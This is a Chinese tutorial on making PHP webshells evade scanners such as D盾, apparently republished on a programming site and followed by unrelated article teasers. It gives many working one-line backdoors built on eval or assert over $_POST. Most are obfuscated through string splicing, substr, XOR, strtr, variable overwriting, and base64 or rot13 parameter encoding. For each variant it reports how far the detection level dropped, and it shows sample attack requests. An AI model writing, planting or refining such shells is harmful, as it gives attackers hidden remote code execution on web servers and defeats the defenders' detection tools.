php webshell 免杀入门

webshell 查杀软件:

d盾、安全狗、护卫神、Sangfor WebShellKill

在线查杀

百度WEBDIR+

https://scanner.baidu.com

河马

https://www.shellpub.com

cloudwalker牧云

https://webshellchop.chaitin.cn

查杀技术

静态检测、动态检测、日志检查

  • 静态检查:匹配特征码、危险函数、木马特征值。优点:方便快捷,对已知木马特征查找准确率高,缺点是误报率高,0day型木马无法查找。
  • 动态检测:通过木马程序的动态特征来检测,当程序执行时表现出的特征即为动态特征。
  • 日志检测:通过分析大量日志文件并建立请求模型检测异常文件。 优点为当网站上的访问量级达到一致值时,这种检测方法具有比较大参考性价值。缺点则是存在一定误报率,对于大量的日志文件,检测工具的处理能力和效率都会变的比较低。

webshell免杀

免杀则是通过灵活运用编程语言的不同特征以及提供的参数重构木马来躲避查杀工具的查杀。还有通过加解密技术对木马程序进行加解密处理。

普通一句话木马 

<?php eval($_POST['a']);?>
<?php assert($_POST['a']);?>

直接使用eval是3级,使用 assert 是5级

 

 

——————

在蚁剑连接中,仅使用assert的payload不可连接

原因有两个:一是因为蚁剑用来探测的语句由多句PHP代码构成,但assert只能执行第一句PHP代码;二是因为探测的语句使用了echo,而assert无法执行关于echo的代码。

看到分析文章: 

关于一句话中使用的assert和eval - Article_kelp - 博客园 (cnblogs.com)

PHP版本>7 时,assert  函数进行了更新, 无法将使用字符串作为参数,而传入GET或POST的数据默认的类型就是字符串,这就导致了assert不适宜再用来直接写马。

不过下面的webshell 还是在php5环境下以 assert 函数进行测试。

——————

因为还在学习阶段,对于这些姿势可能不能对查杀工具完全免杀,但是也能降低危险级别。

主旨在学习大佬们已经用过的各种绕过姿势。达到免杀初步入门。

免杀绕过姿势

字符串变形

对字符串各种拼接转换,十分灵活,方法各式各样。易拓展。

这里先直接对 assert 每个字符串进行拼接。

<?php
$x= 'a'.'s'.'s'.'e'.'r'.'t';
$x($_POST['a'])
?>

查杀结果还是 5 级,拼接的 assert 能正常检测

 

substr() 函数

使用 substr() 函数截断

<?php
$x= substr('21a',2).'s'.'s'.'e'.'r'.'t';
$x($_POST['a'])
?>

再次D盾检测,新版级别变为了 3 ,旧版级别为 4

 

 

————————

异或

<?php
$x = ('!'^'@').'s'.'s'.'e'.'r'.'t';
$x($_POST['a'])
?>

新版D盾为已知后门,旧版级别为 3

————————

传参拼接

一般情况只需传入一个参数,是要执行的命令。

这里再增加一个传参,作为 assert 的拆解部分。

<?php
$a='ass';
$b=$a.$_POST["a2"];
$x = $_POST["a1"];
$b($x);
?>

利用,post以下数据:

a2=ert&a1=phpinfo()

新版D盾查杀等级为 3 ,旧版为 2

 

 

strtr() 函数

对替换字符,被替换的'xjdm' 必须和替换成的 'sser' 是相同长度。

<?php
$x = strtr('axjdmt','xjdm','sser');
$x($_POST['a']);
?>

旧版D盾级别为 1 ,基本算绕过。新版为已知后门

 

 

substr_replace()函数

绕过旧版,新版为已知后门

<?php
$x = substr_replace('ajdmkh','ssert',1);
$x($_POST['a']);
?>

稍微变化一下

新版旧版级别都为 3

<?php
$x = substr_replace('ajdmk','sser',1).'t';
$x($_POST['a']);
?>

 

substr_replace()函数和strtr() 函数都是已知后门,那如果组合一下。

新版仍为前面的 3 级,旧版为 1 

<?php
$x = strtr('aghn','ghn','sse').substr_replace('rx','t',1);
$x($_POST['a']);
?>

trim()函数

规定从字符串中删除哪些字符。如果不选第二个参数,则移除以下所有字符 \0 - NULL; \t - 制表符;\n - 换行;\x0B - 垂直制表符;\r - 回车;空格

<?php
$x = trim('/assert/','/');
$x($_POST['a']);
?>

D盾查杀级别为 1

 

如果是这样,让trim()函数删除空格,查杀等级还是为 4 级。

$x = trim(' assert ');

————————————

自定义函数

<?php
function test($a){$a($_POST['a']);
}test('assert');
?>

新版D盾和旧版扫描结果级别都为 2

 

——————————

前面都是对 assert 字符串进行操作,下面对 $_POST['a'] 进行操作。包括结合前面的,同时对 assert 和 $_POST['a'] 处理的结果。

——————————

反引号

<?php
$a=$_POST['a'];
$x='assert';
$x(`/***123***/`.$a);
?>

新版D盾结果级别为 4,旧版为 2

 

 

结合前面的 substr()函数

查杀等级新版D盾变为1,旧版变为2

<?php
$a=$_POST['a'];
$x=substr('1a',1).'ssert';
$x(`/***123***/`.$a);
?>

对assert 结合前面的 异或。

新旧版D盾查杀结果皆为1

<?php
$a=$_POST['a'];
$x=('!'^'@').'ssert';
$x(`/***123***/`.$a);
?>

——————————

变量覆盖

使用$$覆盖变量,这里对字符串 $_POST['a'] 进行操作

<?php
$x='a'.'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$x($c['a']);
?>

此时级别为 2

 

对 assert 结合前面的 substr()函数。

<?php
$x=substr('1a',1).'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$x($c['a']);
?>

查杀等级新版D盾变为1,旧版变为2

 

对assert 结合前面的 异或。

新旧版D盾查杀结果皆为1

<?php
$x=('!'^'@').'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$x($c['a']);
?>

trim()函数结合变量覆盖

D盾等级为2

<?php
$a = 'ttt';
$$a=trim('/assert/','/');
$f ='hello';
$$f = $_POST['a'];
$ttt($hello)
?>

——————————

base64参数编码

<?php
$x= 'assert';
$a=base64_decode($_POST['a']);
$x($a)
?>

利用:

a=cGhwaW5mbygp

这里效果不免杀

结合substr()函数

新版D盾查杀结果级别为 1,旧版为 4

<?php
$x= substr('1a',1).'ssert';
$a=base64_decode($_POST['a']);
$x($a)
?>

对assert 结合前面的 异或

新旧版D盾查杀结果皆为1

<?php
$x= ('!'^'@').'ssert';
$a=base64_decode($_POST['a']);
$x($a)
?>

————————

rot13参数编码

和前面 base64编码效果是一样的

<?php
$x= 'assert';
$a=str_rot13($_POST['a']);
$x($a)
?>a=cucvasb()

结合substr()函数

新版D盾查杀结果级别为 1,旧版为 4

<?php
$x= substr('1a',1).'ssert';
$a=str_rot13($_POST['a']);
$x($a)
?>

对assert 结合前面的 异或

新旧版D盾查杀结果皆为1

<?php
$x= ('!'^'@').'ssert';
$a=str_rot13($_POST['a']);
$x($a)
?>

————————

还有很多姿势可以利用与开发。

比如数组(一维、二维、多维)的利用。

还有各种回调函数的利用,比如回调函数 array_map() 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/89868.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

OceanBase 4.1.0 clog 目录探究

基于OceanBase 4.x 版本如何统计租户每日 clog 日志生成量的背景下&#xff0c;探究以及如何查看租户 clog 的使用情况。 作者&#xff1a;姜宇 爱可生 DBA 团队成员&#xff0c;擅长数据库故障排查和处理。对技术抱有热忱&#xff0c;实践是检验真理的唯一标准~ 本文来源&…

高忆管理:爆仓是什么意思?

爆仓是指在金融商场中&#xff0c;持有的某种资产价格大幅下跌&#xff0c;导致出资者的保证金不足以支持持仓&#xff0c;被逼平仓的现象。在股票、期货、外汇等商场中均或许呈现爆仓现象。在本文中&#xff0c;咱们将从多个视点分析爆仓的含义、原因和影响。 一、爆仓的含义 …

Azure概念介绍

云计算定义 云计算是一种使用网络进行存储和处理数据的计算方式。它通过将数据和应用程序存储在云端服务器上&#xff0c;使用户能够通过互联网访问和使用这些资源&#xff0c;而无需依赖于本地硬件和软件。 发展历史 云计算的概念最早可以追溯到20世纪60年代的时候&#x…

IDEA创建项目常见问题

1.IDEA修改maven路径无效 创建spring项目&#xff0c;Maven导入报错&#xff0c;无法正常导入jar报&#xff0c;发现setting中设置的maven路径不是自己下载的路径&#xff0c;修改后无效。运行之后maven路径又恢复为其默认的路径 解决方案&#xff1a; 删除.mvn文件&#xff0…

Grafana监控 Redis Cluster

Grafana监控 Redis Cluster 主要是使用grafana来实现监控&#xff0c;grafana可以对接多种数据源&#xff0c;在官网中可以找到Redis数据源&#xff0c;需要安装redis data source插件。当然也可以利用Prometheus来做数据源&#xff0c;下面分别记录一下这两种数据源的安装配置…

SQL-每日一题【1251. 平均售价】

题目 Table: Prices Table: UnitsSold 编写SQL查询以查找每种产品的平均售价。average_price 应该四舍五入到小数点后两位。 查询结果格式如下例所示&#xff1a; 解题思路 1.题目要求查询每种产品的平均售价。给出了两个表&#xff0c;我们用聚合查询来解决此问题。 2.首先我…

免费AI学习文档(二)

国内绘画midjourney网站 http://aijiaolian.chat优质提示词分解教学 https://q3iylvv7qj.feishu.cn/docx/UGMzdPVGjo1fHcxu1kjcuXFcnff?fromfrom_copylink设计图AI实战&#xff0c;如何用AI提高83%的出图效率&#xff1f;https://q3iylvv7qj.feishu.cn/docx/Fsxxd3MncowFUix5…

前后端分离------后端创建笔记(上)

本文章转载于【SpringBootVue】全网最简单但实用的前后端分离项目实战笔记 - 前端_大菜007的博客-CSDN博客 仅用于学习和讨论&#xff0c;如有侵权请联系 源码&#xff1a;https://gitee.com/green_vegetables/x-admin-project.git 素材&#xff1a;https://pan.baidu.com/s/…

html练习

html练习 工具代码运行结果 工具 HBuilder X 代码 <!DOCTYPE html> <html><head><meta charset"utf-8"><title>图灵之家</title></head><body><h1>图灵之家</h1><br><br><h2>我的…

监控Kubernetes Node组件的关键指标

所有的 Kubernetes 组件&#xff0c;都提供了 /metrics 接口用来暴露监控数据&#xff0c;Kube-Proxy 也不例外。通过 ss 或者 netstat 命令可以看到 Kube-Proxy 监听的端口&#xff0c;一个是 10249&#xff0c;用来暴露监控指标&#xff0c;一个是 10256 &#xff0c;作为…

2023年新学期12306高铁火车学生票如何在线核验享受优惠?

2023学年优惠资质核验已开始&#xff0c;完成学生优惠资质核验后&#xff0c;您可以在线购买2022年10月1日至2023年9月30日的学生优惠票。&#xff08;注&#xff1a;非该时间段需要重新核验&#xff0c;可享受学生优惠票&#xff09;&#xff1b; 『扩展阅读』 1、美团外卖红…

Grafana技术文档-概念-《十分钟扫盲》

Grafana官网链接 Grafana: The open observability platform | Grafana Labs 基本概念 Grafana是一个开源的度量分析和可视化套件&#xff0c;常用于对大量数据进行实时分析和可视化。以下是Grafana的基本概念&#xff1a; 数据源&#xff08;Data Source&#xff09;&#…

第06天 静态代理和动态代理

✅作者简介&#xff1a;大家好&#xff0c;我是Leo&#xff0c;热爱Java后端开发者&#xff0c;一个想要与大家共同进步的男人&#x1f609;&#x1f609; &#x1f34e;个人主页&#xff1a;Leo的博客 &#x1f49e;当前专栏&#xff1a;每天一个知识点 ✨特色专栏&#xff1a…

nacos升级开启鉴权后,微服务无法连接的解决方案

版本&#xff1a; 软件版本号备注spring boot2.2.5.RELEASEspring-cloudHoxton.SR3spring-cloud-alibaba2.2.1.RELEASEnacos2.0.1从1.4.2版本进行升级。同时作为注册中心和配置中心 一、升级nacos版本&#xff0c;开启鉴权 1.在application.properties配置文件开启鉴权&…

RabbitMQ 安装教程

RabbitMQ 安装教程 特殊说明 因为RabbitMQ基于Erlang开发&#xff0c;所以安装时需要先安装Erlang RabbitMQ和Erlang版本对应关系 查看地址&#xff1a;www.rabbitmq.com/which-erlan… 环境选择 Erlang: 23.3及以上 RabbitMQ: 3.10.1Windows 安装 1. 安装Erlang 下载地…

cs231n assignment2 q5 PyTorch on CIFAR-10

文章目录 嫌啰嗦直接看源码Q5 :PyTorch on CIFAR-10three_layer_convnet题面解析代码输出 Training a ConvNet题面解析代码输出 ThreeLayerConvNet题面解析代码输出 Train a Three-Layer ConvNet题面解析代码输出 Sequential API: Three-Layer ConvNet题面解析代码输出 CIFAR-1…

在Java中操作Redis(详细-->从环境配置到代码实现)

在Java中操作Redis 文章目录 在Java中操作Redis1、介绍2、Jedis3、Spring Data Redis3.1、对String的操作3.2、对哈希类型数据的操作3.3、对list的操作3.4、对set类型的操作3.5、对 ZSet类型的数据&#xff08;有序集合&#xff09;3.6、通用类型的操作 1、介绍 Redis 的Java客…

[C++ 网络协议编程] UDP协议

目录 1. UDP和TCP的区别 2. UDP的工作原理 3. UDP存在数据边界 4. UDP的I/O函数 4.1 sendto函数 4.2 recvfrom函数 4. 已连接(connected)UDP套接字和未连接(unconnected)UDP套接字 5. UDP的通信流程 5.1 服务器端通信流程 5.2 客户端通信流程 1. UDP和TCP的区别 主要…

痞子衡嵌入式:AppCodeHub - 一站网罗恩智浦MCU应用程序

近日&#xff0c;恩智浦官方隆重上线了应用程序代码中心(Application Code Hub&#xff0c;简称 ACH)&#xff0c;这是恩智浦 MCUXpresso 软件生态的一个重要组成部分。痞子衡之所以要如此激动地告诉大家这个好消息&#xff0c;是因为 ACH 并不是又一个恩智浦官方 github proje…

【数据结构•并查集】矩形

题目描述 在一个平面上有n个矩形。每个矩形的边都平行于坐标轴并且都具有值为整数的顶点。我们用如下的方式来定义块。 每一个矩形都是一个块。 如果两个不同的矩形有公共线段&#xff0c;那么它们就组成了一个新的块来覆盖它们原来的两个块。 例子&#xff1a; 在图1中的矩形…